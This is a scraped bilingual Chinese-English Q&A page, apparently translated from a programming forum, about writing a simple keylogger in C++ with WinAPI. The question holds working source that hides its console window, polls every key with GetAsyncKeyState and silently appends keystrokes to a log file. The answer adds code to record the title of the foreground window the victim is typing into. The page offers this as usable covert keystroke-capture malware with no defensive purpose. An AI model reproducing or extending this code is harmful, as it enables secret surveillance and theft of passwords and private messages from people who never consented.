C ++简单的键盘记录器 [英] C++ simple keylogger
本文介绍了C ++简单的键盘记录器的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
我试图在C ++中使用WinAPI编写一个简单的键盘记录器。有没有办法得到在哪个应用程序用户正在键入捕获的关键笔划?
这里是我的代码到目前为止:
I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes? And here is my code so far:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
推荐答案
有一种方法来获取用户在哪个应用程序中键入捕获的键击?
我想说使用HWND WINAPI GetForegroundWindow(void);
Since the question is "Is there a way to get in which application the user is typing the captured key strokes?" I'd say use HWND WINAPI GetForegroundWindow(void);
例如:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
在cWindow中,您可以获得用户输入的窗口的标题。
In cWindow you get the title of the window in which the user is typing.
这篇关于C ++简单的键盘记录器的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文